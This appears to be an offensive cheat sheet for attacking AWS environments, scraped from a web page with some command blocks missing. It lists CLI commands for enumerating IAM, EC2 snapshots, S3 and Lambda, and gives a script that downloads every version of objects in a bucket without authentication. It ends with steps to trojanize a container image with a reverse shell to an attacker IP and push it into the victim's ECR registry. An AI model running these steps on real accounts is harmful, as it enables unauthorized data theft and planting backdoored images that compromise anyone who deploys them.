Discovery & Reconnaissance
Map out accounts, services, regions, and resources that exist in the target AWS environment.
Region Enumeration
With Pacu
AWS CLIIAM Enumeration & Credential Reporting
Check password age, MFA enabled, access keys still active
List All Roles & Policies (find which IAM roles/users you can assume or attach):aws iam get-account-authorization-details \
--output json \
--query '{Roles:Roles, Users:UserDetailList}'
aws iam list-user-policies --user-name <USERNAME>
aws iam list-attached-user-policies --user-name <USERNAME>
aws iam get-user-policy --user-name <USERNAME> --policy-name <POLICY_NAME>
EC2 & EBS Enumeration
List EC2 Instances
List EBS Volumes List EBS Snapshots (All & By Owner)# All snapshots in a region
aws ec2 describe-snapshots --region us-east-1
# Snapshots owned by a specific account
aws ec2 describe-snapshots --region us-east-1 --owner-ids <ACCOUNT_ID>
S3 Bucket Discovery & Interaction
List All Buckets (If You Have Permissions)
Automated Public Bucket Discovery (no auth) FInd buckets with Google dorks List Objects in a Bucket Sync Entire Bucket Locally If Blocked / Rate-Limited (Use s3api) List Object Versions (When Versioning Is Enabled) Dump All Object Versions via Script# DumpObjectVersions.sh
read -p "Enter the S3 bucket name: " BUCKET_NAME
read -p "Enter the local dir path where data will be saved: " LOCAL
object_versions=$(aws s3api list-object-versions --bucket "$BUCKET_NAME" --no-sign-request | jq -c '.Versions[]')
while IFS= read -r object_version; do
key=$(echo "$object_version" | jq -r '.Key')
version_id=$(echo "$object_version" | jq -r '.VersionId')
if [ -n "$key" ] && [ "$version_id" != "null" ]; then
LOCAL_DIR="$LOCAL$key"
mkdir -p "$(dirname "$LOCAL_DIR")"
aws s3api get-object --bucket "$BUCKET_NAME" \
--no-sign-request \
--key "$key" \
--version-id "$version_id" \
"$LOCAL_DIR"
fi
done <<< "$object_versions"
Serverless & API Enumeration
List All Lambda Functions
Get Detailed Info for a Lambda Retrieve a Lambdaβs Deployment Package (ZIP) copy the"Location"
URL from aws lambda get-function
output, download lambda:
Discover API Gateway Endpoints
From the returned ARN (arn:aws:execute-api:<region>:<account>:<api-id>/*/*
), build the public invoke URL:
Container Services Enumeration
List ECR Repositories
List Images in a Specific RepositoryBackdoor an Image with Dockerscan
install https://github.com/cr0hn/dockerscan
Pull an existing image (Ubuntu as an example) Trojanize itdockerscan image modify trojanize ubuntu_original \
-l <attacker_IP> -p <attacker_PORT> -o alpine_infected
docker tag alpine_infected:latest \
<AWS_ACCOUNT_ID>.dkr.ecr.<region>.amazonaws.com/<REPO_NAME>:latest
aws ecr get-login-password --region <region> | sudo docker login --username AWS --password-stdin <AWS_ACCOUNT_ID>.dkr.ecr.<region>.amazonaws.com
env